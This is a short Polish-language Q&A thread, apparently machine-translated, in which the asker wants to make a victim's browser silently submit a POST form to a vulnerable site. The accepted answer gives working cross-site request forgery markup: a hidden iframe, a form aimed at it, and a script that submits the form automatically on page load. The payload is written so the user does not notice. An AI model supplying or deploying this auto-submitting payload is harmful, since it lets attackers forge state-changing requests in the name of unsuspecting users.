2013-07-30 14 views
13

Chciałbym wiedzieć, w jaki sposób można przesłać formularz POST do CSRF w trybie dyskretnym, bez powiadomienia użytkownika (lokalizacja dokumentu przekierowana na URL POSTed nie jest cichy).Przykład cichego przesłania formularza POST (CSRF)

Przykład:

<form method='POST' action='http://vulnerablesite.com/form.php'> 
<input type='hidden' name='criticaltoggle' value='true' 
<input type='submit' value='submit'> 
</form> 

Na zewnętrznej strony, co musiałbym zrobić, aby wywołać tego formularza automatycznie i cicho?

Odpowiedz

32

Rozwiązaniem byłoby otwarcie działania Formie w ramce jak iframe:

<iframe style="display:none" name="csrf-frame"></iframe> 
<form method='POST' action='http://vulnerablesite.com/form.php' target="csrf-frame" id="csrf-form"> 
    <input type='hidden' name='criticaltoggle' value='true'> 
    <input type='submit' value='submit'> 
</form> 
<script>document.getElementById("csrf-form").submit()</script>